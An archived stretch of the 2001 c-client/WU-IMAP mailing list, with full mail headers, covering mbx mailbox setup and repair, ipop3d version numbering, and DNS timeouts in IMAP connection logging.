Friedrich Lobenstock -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon May 7 20:31:21 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 7 May 2001 20:31:20 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f483VJD24051 for ; Mon, 7 May 2001 20:31:19 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Mon May 07 20:31:18 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f483VGC17274; Mon, 7 May 2001 20:31:16 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f483Rjp33868; Mon, 7 May 2001 20:27:45 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f483QH007036 for ; Mon, 7 May 2001 20:26:17 -0700 Received: from cliff.unet.brandeis.edu (cliff.unet.brandeis.edu [129.64.99.34]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f483QGs17407 for ; Mon, 7 May 2001 20:26:16 -0700 Received: from harpo.unet.brandeis.edu (IDENT:0@harpo.unet.brandeis.edu [129.64.99.144]) by cliff.unet.brandeis.edu (8.9.3/8.9.3/UNet2.1) with ESMTP id XAA02969 for ; Mon, 7 May 2001 23:26:15 -0400 Received: from localhost (rcgraves@localhost) by harpo.unet.brandeis.edu (8.9.3/8.9.1) with ESMTP id XAA14599 for ; Mon, 7 May 2001 23:26:14 -0400 Message-Id: Date: Mon, 7 May 2001 23:26:14 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: C-Client/WU-IMAP Mailing Liste Subject: Re: WU-IMAP and mbx In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: harpo.unet.brandeis.edu: rcgraves owned process doing -bs X-Sender: rcgraves@harpo.unet.brandeis.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 8 May 2001, Friedrich Lobenstock wrote: > How do I change the wu-imap to use mbx mailboxes instead of the normal > unix style mailbox as a default. I'm asking this because I would like > to change this after the imap server is compiled. So is this possible > via writing something in a "magic" config file? It hasn't been updated for imap-2000, but http://www.carumba.com/imap/ has all the information you should need. You can optimize INBOX, which is probably over 95% of your imap access, without changing anything. Just copy an empty mbx-format file (mbxcreat #driver.mbx/INBOX) into everyone's home directory and the berkeley-format spool file will be slurped into it automatically the next time they read mail. Add an empty mbx INBOX to /etc/skel or your adduser script and you're done. If you need to optimize folders other than INBOX, there is a magic config file, but you need to read and perhaps conmpile the source code in order to use it (config files without the possibly version-dependent secret word aren't read). You're simply better off recompiling. I'm assuming based on your message-id that you're a RedHat user. If you're nervous about keeping RedHatisms then rpm --rebuild SRPMS/imap-$VERSION.src.rpm and when it's done take a peek into /usr/src/redhat/BUILD. Hack at the prepatched source, make clean, make lnp. > I tried mbx and my conclusion is that if more than one client wants to > access one account at the same time this mailbox format is better > suited. Ok, the filesystem is not NFS, but what else should I take > care of? Can I repair those mailboxes by hand if the need arises? Yes, mbx can be repaired. A helpful message from the list archives is appended. I used Mark's tips below to repair about 100 mbx files when a RAID controller decided to neglect the "nonvolatile" part of "128MB nonvolatile cache RAM." I actually prefer the way that corrupted mbx files deny access completely. Broken berkeley mboxes or maildirs might never give the user an indication that there's a problem. If you've suffered a major disk crash and you want to test a large number of mailboxes for corruption, one way to test them is: for f in */*/INBOX; do; ifrom $f | tail -1|grep \?; done Or you can test the exit status of "pine -Iq -c0 -f $f" if you're in a pinch and don't have ifrom (which is in imap-utils; I don't know if it's in any of RedHat's packages). After that fun experience I decided to keep an "archive log" of all incoming email to make doubly sure I'd never lose anything. It's easy to do, just duplicate the relevant bits of your mail.local equivalent to append queue files to _two_ spool files per user on two separate disks. http://samantha.unet.brandeis.edu/bboard/q-and-a-fetch-msg?msg_id=00001e patch for postfix, see postfix list archives for discussion: http://brandeis.edu/~rcgraves/duplicate-spool.diff Mark Crispin's message on repairing mbx files: ---------- Forwarded message ---------- Date: Wed, 18 Oct 2000 08:49:37 -0700 (PDT) From: Mark Crispin Cc: c-client@CAC.Washington.EDU Subject: re: repairing "mbx" formatted files On Wed, 18 Oct 2000 09:46:16 -0600 (CST), Mike Trank wrote: > Anyone know a way that I can repair an "mbx" type mailbox file, manually > or otherwise? Some people have developed automated scripts, but if you're comfortable using emacs it's pretty easy to fix it manually. DON'T USE vi OR ANY OTHER EDITOR UNLESS YOU ARE CERTAIN THAT EDITOR CAN HANDLE BINARY!!! A c-client program would have issued an error message saying which byte number it got to when it got unhappy with it the file, usually after the word "at", e.g. something like: Unable to parse internal header at 43921: ne bombastic blurdybloop This byte number ("43921") is the location of the error in the file. That's the point you need to fix. c-client is expecting an internal header at that byte number, looking something like: 6-Jan-1998 17:42:24 -0800,1045;000000100001-00000001 The format of this internal line is: dd-mmm-yyyy hh:mm:ss +zzzz,ssss;ffffffffFFFF-UUUUUUUU The only thing that is variable is the "ssss" field, it can be as many digits as needed. All other fields (inluding the "dd") are fixed width. So, the easiest thing to do is to look forward in the file for the next internal header, and delete everything from the error point to that internal header. Here's what to do if you want to be smarter and do a little bit more work. Generally, you're in the middle of a message, and there's nothing wrong with that message. The problem happened in the *previous* message. So, search back to the previous internal header. Now, remember that "ssss" field? That's the size of that message. Mark where you are in the file, move the cursor to the line after the internal header, and skip that many bytes ("ssss") forward. If you're at the point of the error in the file, then that message is corrupt. If you're at a different point, then perhaps the previous message is corrupt and has a too long size count that "ate" into this message. Basically, what you need to do is make sure that all those size counts are right, and that moving "ssss" bytes from the line after the internal header will land you at another internal header. Usually, once you know what you're looking at, it's pretty easy to work out the corruption, and the best remedial action. I generally don't use repair scripts because I prefer the flexibility of manual repair. Repair scripts will make the problem go away but may not always do the smartest/best salvage of the user's data. From pinedev@shivax2.cac.washington.edu Tue May 8 05:17:44 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 8 May 2001 05:17:44 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f48CHgD12667 for ; Tue, 8 May 2001 05:17:43 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Tue May 08 05:17:42 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f48CHdC26834; Tue, 8 May 2001 05:17:39 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f48CFHH30002; Tue, 8 May 2001 05:15:17 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f48CE0019442 for ; Tue, 8 May 2001 05:14:00 -0700 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f48CDws17686 for ; Tue, 8 May 2001 05:13:59 -0700 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id f48CDrq12643; Tue, 8 May 2001 14:13:53 +0200 Message-Id: Date: Tue, 8 May 2001 14:13:53 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/WU-IMAP Mailing Liste Cc: Mark Crispin Subject: Re: WU-IMAP and mbx In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 7 May 2001, Rich Graves wrote: > You can optimize INBOX, which is probably over 95% of your imap access, > without changing anything. Just copy an empty mbx-format file (mbxcreat > #driver.mbx/INBOX) into everyone's home directory and the berkeley-format > spool file will be slurped into it automatically the next time they read > mail. Add an empty mbx INBOX to /etc/skel or your adduser script and you're > done. I make use of the vimap package from http://vimap.sourceforge.net/ . So I can't make use of /etc/skel because the home directories at /vhome/EMAIL-DOMAIN/home/USER never get initializied, just created, by linuxconf. > If you need to optimize folders other than INBOX, there is a magic config > file, but you need to read and perhaps conmpile the source code in order > to use it (config files without the possibly version-dependent secret word > aren't read). You're simply better off recompiling. So the magic config would be the best solution because I could step back to normal unix style mailboxes (only for new ones of course) any time. Is this config file documented somewhere, or do I have to dig into the source of wu-imapd? > I'm assuming based on your message-id that you're a RedHat user. If you're > nervous about keeping RedHatisms then rpm --rebuild > SRPMS/imap-$VERSION.src.rpm and when it's done take a peek into > /usr/src/redhat/BUILD. Hack at the prepatched source, make clean, make lnp. Sorry, wrong guess, I'm a SuSE user since SuSE Linux 1.2.13 (that was the version of the kernel, after that they changed to their own numbering schema) :) > > I tried mbx and my conclusion is that if more than one client wants to > > access one account at the same time this mailbox format is better > > suited. Ok, the filesystem is not NFS, but what else should I take > > care of? Can I repair those mailboxes by hand if the need arises? > > Yes, mbx can be repaired. A helpful message from the list archives is > appended. Thank's for that. -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Tue May 8 06:24:41 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 8 May 2001 06:24:40 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f48DOdD17308 for ; Tue, 8 May 2001 06:24:40 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Tue May 08 06:24:39 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f48DObC28097; Tue, 8 May 2001 06:24:37 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f48DMiH23376; Tue, 8 May 2001 06:22:44 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f48DM00114264 for ; Tue, 8 May 2001 06:22:00 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (remp@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f48DLxF10695 for ; Tue, 8 May 2001 06:21:59 -0700 Message-Id: Date: Tue, 8 May 2001 06:19:29 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Friedrich Lobenstock Cc: C-Client/WU-IMAP Mailing Liste Subject: Re: WU-IMAP and mbx In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 8 May 2001 14:13:53 +0200 (CEST), Friedrich Lobenstock wrote: > So the magic config would be the best solution because I could step > back to normal unix style mailboxes (only for new ones of course) any time. There should be no reason to use the config file. imapd automatically detects the format of the mailbox. The only thing that you would configure in this way is the default format of newly-created mailboxes, and it is much safer to rebuild the c-client library than to use that config file. > Is this config file documented somewhere, or do I have to dig into the > source of wu-imapd? Do not use that config file. Here be dragons. From pinedev@shivax2.cac.washington.edu Tue May 8 06:55:19 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 8 May 2001 06:55:18 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f48DtGD09589 for ; Tue, 8 May 2001 06:55:16 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Tue May 08 06:55:16 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f48DtEC28731; Tue, 8 May 2001 06:55:14 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f48DrAp17248; Tue, 8 May 2001 06:53:10 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f48Dqd044444 for ; Tue, 8 May 2001 06:52:39 -0700 Received: from www.hr.vc-graz.ac.at (www.hr.vc-graz.ac.at [193.171.240.3]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f48Dqcs29127 for ; Tue, 8 May 2001 06:52:38 -0700 Received: from fl.priv.at (a-11.vc-graz.ac.at [193.171.240.11]) by www.hr.vc-graz.ac.at (8.11.0/linuxconf) with ESMTP id f48DrEQ15046; Tue, 8 May 2001 15:53:15 +0200 Message-Id: <3AF7FBD8.5CB1E22E@fl.priv.at> Date: Tue, 08 May 2001 15:59:52 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: Mark Crispin Cc: C-Client/WU-IMAP Mailing Liste Subject: Re: WU-IMAP and mbx References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: fl@www.hr.vc-graz.ac.at X-Accept-Language: de, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > There should be no reason to use the config file. imapd automatically detects > the format of the mailbox. Yes I know, but my intentions are what you are talking about next! > The only thing that you would configure in this way is the default format of > newly-created mailboxes, and it is much safer to rebuild the c-client library > than to use that config file. Sorry to question that, but hardcoded stuff is always something that's not good. Think of updating stuff. The next time I update the imap daemon I would have to hack the RPM package again if I'd go with changing the sources. The config file persists. > > Is this config file documented somewhere, or do I have to dig into the > > source of wu-imapd? > > Do not use that config file. Here be dragons. The BIG question, why on earth can't I use the config file to specify default format of newly-created mailboxes? "Here be dragons." is not a definition I understand as a technician. -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Tue May 8 21:52:12 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 8 May 2001 21:52:08 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f494q7D12301 for ; Tue, 8 May 2001 21:52:07 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Tue May 08 21:52:06 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f494q1u01531; Tue, 8 May 2001 21:52:01 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f494kQE30682; Tue, 8 May 2001 21:46:27 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f494iK0105406 for ; Tue, 8 May 2001 21:44:20 -0700 Received: from hermes.birddog.com (hermes.birddog.com [63.125.164.131]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f494iJX01432 for ; Tue, 8 May 2001 21:44:19 -0700 Received: from terryhome (cx304336-e.omhaw1.ne.home.com [65.6.93.48]) by hermes.birddog.com (8.11.2/8.11.2) with SMTP id f494tkH11217 for ; Tue, 8 May 2001 23:55:46 -0500 Message-Id: Date: Tue, 8 May 2001 23:45:41 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Terry Davis" To: Subject: question regarding ipop3d MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 X-Scanned-By: MIMEDefang 0.7 (http://www.roaringpenguin.com/mimedefang/) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am not sure if I am on the correct mailing list but I guessed so since pop3 is distrubited with imap. v2001.76 vs v7.64 There is an obvious difference but what is the versioning scheme? haha, am i 1,994 releases behind?! :) Thanks for any insight. Terry -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue May 8 22:01:02 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 8 May 2001 22:01:02 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f49511D23323 for ; Tue, 8 May 2001 22:01:01 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Tue May 08 22:01:01 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4950xC23911; Tue, 8 May 2001 22:00:59 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f494wEX26580; Tue, 8 May 2001 21:58:14 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f494vR039998 for ; Tue, 8 May 2001 21:57:27 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f494vRK12214 for ; Tue, 8 May 2001 21:57:27 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f494vRo02808; Tue, 8 May 2001 21:57:27 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (gibb@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f494vQw15296; Tue, 8 May 2001 21:57:26 -0700 Message-Id: Date: Tue, 8 May 2001 21:55:34 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Terry Davis Cc: c-client@u.washington.edu Subject: re: question regarding ipop3d In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 8 May 2001 23:45:41 -0500, Terry Davis wrote: > I am not sure if I am on the correct mailing list but I guessed so since > pop3 is distrubited with imap. > > v2001.76 vs v7.64 > > There is an obvious difference but what is the versioning scheme? haha, am > i 1,994 releases behind?! :) Starting with the year 2000, the numeric form of the major software version matches the year of release. Subsequent releases the same year will have a ascending letter appended to it, e.g. 2000a, 2000b, 2000c, etc. From pinedev@shivax2.cac.washington.edu Tue May 8 22:02:14 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 8 May 2001 22:02:14 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4952DD15281 for ; Tue, 8 May 2001 22:02:13 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Tue May 08 22:02:12 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4952Au01801; Tue, 8 May 2001 22:02:10 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f494xmp33904; Tue, 8 May 2001 21:59:48 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f494x2069878 for ; Tue, 8 May 2001 21:59:02 -0700 Received: from hermes.birddog.com (hermes.birddog.com [63.125.164.131]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f494x2K12454 for ; Tue, 8 May 2001 21:59:02 -0700 Received: from terryhome (cx304336-e.omhaw1.ne.home.com [65.6.93.48]) by hermes.birddog.com (8.11.2/8.11.2) with SMTP id f495ATH11346 for ; Wed, 9 May 2001 00:10:29 -0500 Message-Id: Date: Wed, 9 May 2001 00:00:23 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Terry Davis" To: Subject: RE: question regarding ipop3d In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 X-Scanned-By: MIMEDefang 0.7 (http://www.roaringpenguin.com/mimedefang/) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN omg, am I using one that old? -----Original Message----- From: Mark Crispin [mailto:mrc@Tomobiki-Cho.CAC.Washington.EDU]On Behalf Of Mark Crispin Sent: Tuesday, May 08, 2001 11:56 PM To: Terry Davis Cc: c-client@u.washington.edu Subject: re: question regarding ipop3d On Tue, 8 May 2001 23:45:41 -0500, Terry Davis wrote: > I am not sure if I am on the correct mailing list but I guessed so since > pop3 is distrubited with imap. > > v2001.76 vs v7.64 > > There is an obvious difference but what is the versioning scheme? haha, am > i 1,994 releases behind?! :) Starting with the year 2000, the numeric form of the major software version matches the year of release. Subsequent releases the same year will have a ascending letter appended to it, e.g. 2000a, 2000b, 2000c, etc. From pinedev@shivax2.cac.washington.edu Tue May 8 22:13:46 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 8 May 2001 22:13:46 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f495DiD29701 for ; Tue, 8 May 2001 22:13:45 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Tue May 08 22:13:44 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f495Dgu02038; Tue, 8 May 2001 22:13:42 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f495AKE14642; Tue, 8 May 2001 22:10:20 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f49596068538 for ; Tue, 8 May 2001 22:09:06 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f49595K14408 for ; Tue, 8 May 2001 22:09:05 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f49595o03505; Tue, 8 May 2001 22:09:05 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (hik@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f49595104917; Tue, 8 May 2001 22:09:05 -0700 Message-Id: Date: Tue, 8 May 2001 22:08:43 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Terry Davis Cc: c-client@u.washington.edu Subject: RE: question regarding ipop3d In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 9 May 2001 00:00:23 -0500, Terry Davis wrote: > omg, am I using one that old? Yes, 7.64 is from November 1999. From pinedev@shivax2.cac.washington.edu Wed May 9 07:55:07 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 9 May 2001 07:55:07 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f49Et6D09756 for ; Wed, 9 May 2001 07:55:06 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Wed May 09 07:55:05 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f49Et3u13981; Wed, 9 May 2001 07:55:03 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f49EqrH23380; Wed, 9 May 2001 07:52:53 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f49EoQ089414 for ; Wed, 9 May 2001 07:50:26 -0700 Received: from clavin2.unet.brandeis.edu (clavin2.unet.brandeis.edu [129.64.99.33]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f49EoPs29546 for ; Wed, 9 May 2001 07:50:25 -0700 Received: from harpo.unet.brandeis.edu (IDENT:0@harpo.unet.brandeis.edu [129.64.99.144]) by clavin2.unet.brandeis.edu (8.9.3/8.9.3/UNet2.1) with ESMTP id KAA08178 for ; Wed, 9 May 2001 10:50:25 -0400 Received: from localhost (rcgraves@localhost) by harpo.unet.brandeis.edu (8.9.3/8.9.1) with ESMTP id KAA05851 for ; Wed, 9 May 2001 10:50:23 -0400 Message-Id: Date: Wed, 9 May 2001 10:50:23 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: c-client@u.washington.edu Subject: gethostbyaddr() delays in tcp_clienthost() MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: harpo.unet.brandeis.edu: rcgraves owned process doing -bs X-Sender: rcgraves@harpo.unet.brandeis.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN A local cable modem provider messed up their DNS delegations last Friday, and there's been a 90-second DNS timeout for every IMAP connection ever since. May 4 23:29:53 larry imapd[873]: imaps alternative service init from 216.195.16.30 May 4 23:31:15 larry imapd[873]: Authenticated user=atomecka host=[216.195.16.30] Is tcp_clienthost() needed anywhere but for logging? Opinions on turning it into a no-op or maybe wrapping an alarm(10) around it? -- Rich Graves UNet Systems Administrator -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 9 11:27:22 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 9 May 2001 11:27:21 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f49IRKD10217 for ; Wed, 9 May 2001 11:27:20 -0700 (PDT) Received: FROM 